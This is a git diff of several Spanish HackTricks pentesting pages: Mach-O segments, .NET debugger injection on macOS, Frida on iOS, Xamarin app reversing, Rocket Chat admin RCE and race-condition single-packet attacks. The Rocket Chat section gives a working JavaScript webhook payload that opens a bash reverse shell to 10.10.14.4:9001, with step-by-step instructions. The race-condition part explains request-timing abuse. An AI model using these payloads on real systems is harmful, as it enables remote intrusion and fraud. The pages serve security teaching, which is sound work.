<figure><img src="../../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
También es posible obtener la **información de los encabezados** desde la **línea de comandos** con:
```bash
@ -210,11 +210,11 @@ Segmentos comunes cargados por este comando:
* `__const`: Datos constantes
* `__cstring`: Constantes de cadena
* `__stubs` y `__stubs_helper`: Involucrados durante el proceso de carga de bibliotecas dinámicas
* **`__DATA`**: Contiene datos que son **modificables**.
* **`__DATA`**: Contiene datos que son **escribibles**.
* `__data`: Variables globales (que han sido inicializadas)
* `__bss`: Variables estáticas (que no han sido inicializadas)
* `__objc_*` (\_\_objc\_classlist, \_\_objc\_protolist, etc): Información utilizada por el tiempo de ejecución de Objective-C
* **`__LINKEDIT`**: Contiene información para el enlazador (dyld) como "entradas de tabla de símbolos, cadenas y reubicación".
* **`__LINKEDIT`**: Contiene información para el enlazador (dyld) como "símbolo, cadena y entradas de tabla de reubicación".
* **`__OBJC`**: Contiene información utilizada por el tiempo de ejecución de Objective-C. Aunque esta información también puede encontrarse en el segmento \_\_DATA, dentro de varias secciones \_\_objc\_\*.
### **`LC_MAIN`**
@ -228,7 +228,7 @@ Sin embargo, puedes encontrar información sobre esta sección en [**esta public
### **LC\_LOAD\_DYLINKER**
Contiene la **ruta del ejecutable del enlazador dinámico** que mapea bibliotecas compartidas en el espacio de direcciones del proceso. El **valor siempre se establece en `/usr/lib/dyld`**. Es importante tener en cuenta que en macOS, el mapeo de dylib ocurre en **modo de usuario**, no en modo de kernel.
Contiene la **ruta al ejecutable del enlazador dinámico** que mapea bibliotecas compartidas en el espacio de direcciones del proceso. El **valor siempre se establece en `/usr/lib/dyld`**. Es importante tener en cuenta que en macOS, el mapeo de dylib ocurre en **modo de usuario**, no en modo de kernel.
### **`LC_LOAD_DYLIB`**

View File

@ -21,7 +21,7 @@ Crea dos tuberías con nombre por proceso .Net en [dbgtransportsession.cpp#L127]
Entonces, si vas al directorio **`$TMPDIR`** del usuario, podrás encontrar **fifos de depuración** que podrías usar para depurar aplicaciones .Net:
<figure><img src="../../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
La función [**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) manejará la comunicación desde un depurador.
@ -175,11 +175,11 @@ En las versiones x64, esto es sencillo utilizando la técnica de **búsqueda de
<figure><img src="../../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
Lo único que queda por hacer es encontrar una dirección desde la cual comenzar nuestra búsqueda de firmas. Para hacer esto, aprovechamos otra función de depuración expuesta, **`MT_GetDCB`**. Esto devuelve una serie de bits de información útiles sobre el proceso objetivo, pero en nuestro caso, nos interesa un campo que contiene la **dirección de una función auxiliar**, **`m_helperRemoteStartAddr`**. Utilizando esta dirección, sabemos exactamente **dónde se encuentra `libcorclr.dll`** en la memoria del proceso objetivo y podemos comenzar nuestra búsqueda de la DFT.
Todo lo que queda por hacer es encontrar una dirección desde la cual comenzar nuestra búsqueda de firmas. Para hacer esto, aprovechamos otra función de depuración expuesta, **`MT_GetDCB`**. Esto devuelve una serie de bits de información útiles sobre el proceso objetivo, pero en nuestro caso, nos interesa un campo que contiene la **dirección de una función auxiliar**, **`m_helperRemoteStartAddr`**. Utilizando esta dirección, sabemos exactamente **dónde se encuentra `libcorclr.dll`** en la memoria del proceso objetivo y podemos comenzar nuestra búsqueda de la DFT.
Conociendo esta dirección, es posible sobrescribir el puntero de función con nuestro propio código malicioso.
Conociendo esta dirección, es posible sobrescribir el puntero de función con nuestro propio código shell.
El código completo de POC utilizado para la inyección en PowerShell se puede encontrar [aquí](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6).
El código POC completo utilizado para la inyección en PowerShell se puede encontrar [aquí](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6).
## Referencias

View File

@ -1,7 +1,37 @@
# Instalando Frida
# Configuración de Frida en iOS
Ve a la aplicación **Cydia** y agrega el repositorio de Frida yendo a **Manage -> Sources -> Edit -> Add** e ingresando [**https://build.frida.re** ](https://build.frida.re). Esto agregará una nueva fuente en la lista de fuentes. Ve a la **fuente de frida**, ahora deberías **instalar** el paquete de **Frida**.
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Instalación de Frida
Ve a la aplicación **Cydia** y agrega el repositorio de Frida yendo a **Manage -> Sources -> Edit -> Add** e ingresa [**https://build.frida.re** ](https://build.frida.re). Esto agregará una nueva fuente en la lista de fuentes. Ve a la **fuente de frida**, ahora debes **instalar** el paquete de **Frida**.
![](https://miro.medium.com/max/614/0\*qSD26kBtgt\_UIZk1.png)
Después de instalado, puedes usar en tu PC el comando `frida-ls-devices` y verificar que el dispositivo aparezca (tu PC necesita poder acceder a él). Ejecuta también `frida-ps -Uia` para verificar los procesos en ejecución del teléfono.
Después de instalarlo, puedes usar el comando `frida-ls-devices` en tu PC y verificar que el dispositivo aparezca (tu PC debe poder acceder a él). Ejecuta también `frida-ps -Uia` para verificar los procesos en ejecución del teléfono.
## Frida sin dispositivo con Jailbreak y sin parchear la aplicación
Consulta esta publicación de blog sobre cómo usar Frida en dispositivos sin Jailbreak sin parchear la aplicación: [https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07](https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View File

@ -18,23 +18,23 @@ Xamarin es una plataforma de código abierto que brinda a los desarrolladores ac
### Arquitectura de Xamarin Android&#x20;
<figure><img src="../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
Xamarin ofrece enlaces .NET a los espacios de nombres Android.\* y Java.\*. Las aplicaciones de Xamarin Android funcionan bajo el entorno de ejecución Mono, con la máquina virtual Android Runtime (ART) ejecutándose junto a ella.
Xamarin ofrece enlaces .NET a los espacios de nombres Android.\* y Java.\*. Las aplicaciones de Xamarin Android funcionan bajo el entorno de ejecución Mono, con la máquina virtual Android Runtime (ART) ejecutándose junto a él.
El entorno de ejecución Mono llama a estos espacios de nombres a través de los Envoltorios Llamables Administrados (MCW) y proporciona Envoltorios Llamables de Android (ACW) al ART.
Ambos entornos se ejecutan sobre el kernel de Linux e invocan varias API al código de usuario. Esta disposición permite a los desarrolladores acceder al sistema subyacente.
Ambos entornos se ejecutan sobre el kernel de Linux e invocan varias API para el código de usuario. Esta disposición permite a los desarrolladores acceder al sistema subyacente.
### Proyecto Xamarin iOS
Las aplicaciones de Xamarin.iOS se ejecutan bajo el entorno de ejecución Mono y utilizan la compilación completa de Ahead of Time (AOT) para compilar los códigos .NET de C# a lenguaje ensamblador ARM.
Se ejecuta junto con el tiempo de ejecución Objective-C. Los entornos de tiempo de ejecución se ejecutan sobre un kernel similar a UNIX e invocan varias API al código de usuario, lo que permite a los desarrolladores acceder al sistema administrado o nativo subyacente.&#x20;
Se ejecuta junto con el tiempo de ejecución Objective-C. Los entornos de tiempo de ejecución se ejecutan sobre un kernel similar a UNIX e invocan varias API para el código de usuario, lo que permite a los desarrolladores acceder al sistema administrado o nativo subyacente.&#x20;
El diagrama que se muestra a continuación representa esta arquitectura:
<figure><img src="../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
### ¿Qué es .Net Runtime y Mono Framework?
@ -58,7 +58,7 @@ Para abrir la ventana Módulos, selecciona Depurar > Ventanas > Módulos. Una ve
Estas dos opciones para compilar código Xamarin basado en C# en una aplicación, es decir, **compilación Just in Time y compilación Ahead of Time**. La forma de compilación afecta cómo se envía el código de la aplicación dentro del archivo apk o ipa. Echemos un vistazo rápido a continuación:
\- **Android**: Xamarin te permite compilar utilizando **tanto las banderas JIT como las banderas AOT para Android**. También hay una forma de ir entre ellas para obtener la mayor velocidad de ejecución utilizando el modo híbrido AOT. Ten en cuenta que el modo de compilación AOT completo solo está disponible para la licencia Enterprise.
\- **Android**: Xamarin te permite compilar utilizando **tanto las banderas JIT como las banderas AOT para Android**. También hay una forma de ir entre ambos para obtener la mayor velocidad de ejecución utilizando el modo híbrido AOT. Ten en cuenta que el modo AOT completo solo está disponible para la licencia Enterprise.
\- **iOS**: Solo hay una opción en el caso de iOS, **compilación ahead-of-time**. Esto se debe a las políticas de Apple que prohíben la ejecución de código generado dinámicamente en un dispositivo.
@ -69,7 +69,7 @@ Si te encuentras con una aplicación compilada con AOT completo y si los archivo
Simplemente **descomprime el archivo apk/ipa** y copia todos los archivos presentes en el directorio de ensamblados:
<figure><img src="../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
En el caso de los APK de Android, **estos archivos dll están comprimidos** y no se pueden utilizar directamente para la descompilación. Afortunadamente, existen herramientas que podemos utilizar para **descomprimir estos archivos dll** como [XamAsmUnZ](https://github.com/cihansol/XamAsmUnZ) y [xamarin-decompress](https://github.com/NickstaDB/xamarin-decompress).
```
@ -79,7 +79,7 @@ En el caso de iOS, **los archivos DLL dentro de los archivos IPA se pueden carga
**La mayoría del código de la aplicación se puede encontrar al descompilar los archivos DLL**. También hay que tener en cuenta que las aplicaciones basadas en el marco de trabajo Xamarin contienen un 90% de código común en las compilaciones de todas las plataformas como iOS y Android, etc.&#x20;
<figure><img src="../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
A partir de la captura de pantalla anterior que muestra la lista de archivos DLL presentes en el APK, podemos confirmar que se trata de una aplicación Xamarin. Contiene archivos DLL específicos de la aplicación junto con los archivos de biblioteca necesarios para que la aplicación se ejecute, como `Xamarin.Essentails.dll` o `Mono.Security.dll`.
@ -89,7 +89,7 @@ Finalmente, puedes utilizar [**estas herramientas recomendadas**](../reversing/r
## Análisis Dinámico
Intenta verificar si la aplicación tiene algún tipo de SSL pinning implementado. Si no es así, utilizando Burp como un sistema, CA debería funcionar para interceptar las solicitudes. **Frida con tiempo de ejecución Java o ObjC no funcionará** aquí, pero afortunadamente hay una herramienta que se puede utilizar para engancharse a los métodos.
Intenta verificar si la aplicación tiene algún tipo de SSL pinning implementado. Si no es así, utilizando Burp como un sistema, CA debería funcionar para interceptar las solicitudes. **Frida con tiempo de ejecución de Java u ObjC no funcionará** aquí, pero afortunadamente hay una herramienta disponible que se puede utilizar para engancharse a los métodos.
[**Fridax**](https://github.com/NorthwaveSecurity/fridax) te permite **modificar fácilmente el binario .NET dentro de una aplicación Xamarin en tiempo de ejecución**. El análisis estático te ayudará a identificar los diferentes métodos presentes en la aplicación, que luego se pueden enganchar para el análisis dinámico utilizando Fridax. A continuación se muestran algunos scripts de Frida que pueden ayudarnos a eludir la detección de root o SSL pinning:
@ -106,7 +106,7 @@ Intenta verificar si la aplicación tiene algún tipo de SSL pinning implementad
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).

View File

@ -1,32 +1,4 @@
## RCE
Si eres administrador dentro de Rocket Chat, puedes obtener RCE.
* Ve a **`Integraciones`** y selecciona **`Nueva Integración`** y elige cualquier opción: **`Incoming WebHook`** o **`Outgoing WebHook`**.
* `/admin/integrations/incoming`
<figure><img src="../../.gitbook/assets/image (4) (2).png" alt=""><figcaption></figcaption></figure>
* Según la [documentación](https://docs.rocket.chat/guides/administration/admin-panel/integrations), ambas usan ES2015 / ECMAScript 6 ([básicamente JavaScript](https://codeburst.io/javascript-wtf-is-es6-es8-es-2017-ecmascript-dca859e4821c)) para procesar los datos. Así que obtengamos un [rev shell para javascript](../../generic-methodologies-and-resources/shells/linux.md#nodejs) como:
```javascript
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
```
* Configura el WebHook (el canal y el nombre de usuario para publicar deben existir):
<figure><img src="../../.gitbook/assets/image (1) (8).png" alt=""><figcaption></figcaption></figure>
* Configura el script del WebHook:
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (2).png" alt=""><figcaption></figcaption></figure>
* Guarda los cambios
* Obtén la URL del WebHook generada:
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
* Llámalo con curl y deberías recibir la shell inversa
# Rocket Chat
<details>
@ -35,7 +7,49 @@ exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## RCE
Si eres administrador dentro de Rocket Chat, puedes obtener RCE.
* Ve a **`Integraciones`** y selecciona **`Nueva Integración`** y elige cualquiera: **`Incoming WebHook`** o **`Outgoing WebHook`**.
* `/admin/integrations/incoming`
<figure><img src="../../.gitbook/assets/image (4) (2).png" alt=""><figcaption></figcaption></figure>
* Según la [documentación](https://docs.rocket.chat/guides/administration/admin-panel/integrations), ambos usan ES2015 / ECMAScript 6 ([básicamente JavaScript](https://codeburst.io/javascript-wtf-is-es6-es8-es-2017-ecmascript-dca859e4821c)) para procesar los datos. Así que obtengamos un [rev shell para javascript](../../generic-methodologies-and-resources/shells/linux.md#nodejs) como:
```javascript
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
```
* Configurar el WebHook (el canal y el nombre de usuario del post deben existir):
<figure><img src="../../.gitbook/assets/image (1) (8).png" alt=""><figcaption></figcaption></figure>
* Configurar el script del WebHook:
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (2).png" alt=""><figcaption></figcaption></figure>
* Guardar los cambios
* Obtener la URL del WebHook generada:
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (2).png" alt=""><figcaption></figcaption></figure>
* Llamarlo con curl y deberías recibir la rev shell
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View File

@ -1,10 +1,10 @@
# Condición de carrera
# Condición de Carrera
![](<../.gitbook/assets/image (9) (1) (2).png>)
\
Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas de la comunidad **más avanzadas del mundo**.\
Obtenga acceso hoy:
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y automatizar fácilmente flujos de trabajo con las herramientas comunitarias más avanzadas del mundo.\
Obtén acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -12,136 +12,228 @@ Obtenga acceso hoy:
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabaja en una **empresa de ciberseguridad**? ¿Quiere ver su **empresa anunciada en HackTricks**? ¿O quiere tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenga el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únase al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígame** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparta sus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres que tu **empresa sea anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Cualquier cosa limitada por un número de intentos
## Explotando la Condición de Carrera
Las condiciones de carrera son **vulnerabilidades** que **aparecen** en sitios web que **limitan el número de veces que se puede realizar una acción**. Un ejemplo muy sencillo se puede encontrar en [**este informe**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43).
El principal problema de abusar de las CC es que necesitas que las solicitudes se procesen en paralelo con una diferencia de tiempo muy corta (generalmente >1ms). En la siguiente sección, se proponen diferentes soluciones para hacer esto posible.
## Usando varias veces un código de un solo uso
<figure><img src="../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Cuando haces que la página web realice alguna **acción** que **debe hacerse solo una vez**, pero si la acción se realiza **varias veces** se obtiene un **beneficio**, realmente necesitas probar una **condición de carrera**.\
La mayoría de las veces esto está directamente relacionado con el **dinero** (si se realiza una acción, se obtiene X dinero, así que intentemos hacerlo varias veces muy rápidamente)**.**
### Ataque de un solo paquete
### **Usando desde la misma cuenta el mismo código varias veces**
HTTP2 permite enviar **2 solicitudes en una sola conexión TCP** (mientras que en HTTP/1.1 deben ser secuenciales).\
El uso de un solo paquete TCP elimina por completo el efecto del jitter de la red, por lo que esto claramente tiene potencial para ataques de condición de carrera también. Sin embargo, **dos solicitudes no son suficientes para un ataque de carrera confiable** gracias al **jitter del lado del servidor** - variaciones en el tiempo de procesamiento de la solicitud de la aplicación causadas por variables incontrolables como la contención de la CPU.
Por ejemplo, en [**este error**](https://hackerone.com/reports/759247) el cazador pudo **cargar el dinero dentro de una tarjeta de regalo varias veces.**
Pero, utilizando la técnica de '**sincronización del último byte**' de HTTP/1.1, es posible enviar previamente la mayor parte de los datos reteniendo un fragmento pequeño de cada solicitud y luego 'completar' **20-30 solicitudes con un solo paquete TCP**.
Este es el script **turbo intruder** utilizado para **probar** la **condición de carrera** del informe mencionado:
Para **enviar previamente la mayor parte de cada solicitud**:
* Si la solicitud no tiene cuerpo, envía todas las cabeceras, pero no establezcas la bandera END\_STREAM. Retén un marco de datos vacío con END\_STREAM establecido.
* Si la solicitud tiene un cuerpo, envía las cabeceras y todos los datos del cuerpo excepto el último byte. Retén un marco de datos que contenga el último byte.
A continuación, **prepárate para enviar los marcos finales**:
* Espera 100 ms para asegurarte de que se hayan enviado los marcos iniciales.
* Asegúrate de que TCP\_NODELAY esté desactivado: es crucial que el algoritmo de Nagle agrupe los marcos finales.
* Envía un paquete de ping para calentar la conexión local. Si no haces esto, la pila de red del sistema operativo colocará el primer marco final en un paquete separado.
Finalmente, envía los marcos retenidos. Deberías poder verificar que llegaron en un solo paquete utilizando Wireshark.
{% hint style="info" %}
Ten en cuenta que esto **no funciona para archivos estáticos** en ciertos servidores, pero como los archivos estáticos no son relevantes para los ataques de condición de carrera, esto no es importante.
{% endhint %}
Utilizando esta técnica, puedes hacer que 20-30 solicitudes lleguen al servidor simultáneamente, sin importar el jitter de la red:
<figure><img src="../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
**Adaptándose a la arquitectura objetivo**
Vale la pena señalar que muchas aplicaciones se encuentran detrás de un servidor frontal, y estos pueden decidir reenviar algunas solicitudes a través de conexiones existentes hacia el backend, y crear conexiones nuevas para otras.
Como resultado, es importante no atribuir el tiempo inconsistente de las solicitudes al comportamiento de la aplicación, como mecanismos de bloqueo que solo permiten que un solo hilo acceda a un recurso a la vez. Además, el enrutamiento de solicitudes del servidor frontal se realiza a menudo por conexión, por lo que es posible que puedas suavizar el tiempo de las solicitudes realizando un calentamiento de conexión en el lado del servidor, **enviando algunas solicitudes inconsecuentes a través de tu conexión antes de realizar el ataque**.
Ten en cuenta que **PHP bloquea el sessionid de forma predeterminada**, por lo que debes usar una **sesión separada para cada solicitud** en tu lote o se procesarán de forma secuencial.
{% hint style="warning" %}
Para obtener más información sobre esta técnica, consulta el informe original en [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
{% endhint %}
#### Ejemplos
Puedes ver un ejemplo sencillo de cómo utilizar esto en Turbo Intruder en [https://github.com/PortSwigger/turbo-intruder/blob/master/resources/examples/race-single-packet-attack.py](https://github.com/PortSwigger/turbo-intruder/blob/master/resources/examples/race-single-packet-attack.py).
También está disponible en **Repeater** a través de la nueva opción '**Enviar grupo en paralelo**' en Burp Suite.
### BF en bruto
